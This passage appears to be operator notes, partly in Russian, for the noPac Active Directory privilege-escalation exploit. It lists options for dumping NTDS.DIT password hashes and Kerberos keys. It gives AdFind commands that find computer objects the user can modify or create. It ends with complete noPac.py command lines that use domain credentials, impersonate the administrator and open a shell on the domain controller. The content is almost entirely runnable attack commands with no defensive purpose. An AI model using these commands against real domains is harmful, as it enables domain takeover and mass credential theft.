dump options:
-just-dc-user USERNAME
Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. Implies also -just-dc switch
-just-dc Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)
-just-dc-ntlm Extract only NTDS.DIT data (NTLM hashes only)
-pwd-last-set Shows pwdLastSet attribute for each NTDS.DIT account. Doesn't apply to -outputfile data
-user-status Display whether or not the user is disabled
-history Dump password history, and LSA secrets OldVal
-resumefile RESUMEFILE

Примечание: Если -host-name не указан, инструмент автоматически получит имя хоста контроллера домена, выберите имя хоста, указанное -dc-ip. Если --impersonate не указан, инструмент случайным образом выберет администратора домена для эксплуатации. По умолчанию используется ldaps; если возникает ошибка ssl, попробуйте добавить -use-ldap.

Найдите компьютер, который может быть изменен текущим пользователем.
AdFind.exe -sc getacls -sddlfilter ;;"[WRT PROP]";;computer;domain\user -recmute

Пример: добавьте -no-add и укажите цель с помощью -target-name.
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.200 -dc-host dc2008 --impersonate administrator -no-add -target-name DomainWin7$ -old-hash :2a99c4a3bd5d30fc94f22bf7403ceb1a -shell

Внимание!! Не изменяйте пароль компьютера в домене через ldaps или samr, это может нарушить доверительные отношения между компьютером и основным доменом!!
Найдите учетную запись CreateChild и используйте ее для эксплуатации.
AdFind.exe -sc getacls -sddlfilter ;;"[CR CHILD]";;computer; -recmute

Пример: добавьте -create-child
python noPac.py cgdomain.com/venus:'1qaz@WSX' -dc-ip 10.211.55.200 -dc-host dc2008 --impersonate administrator -create-child
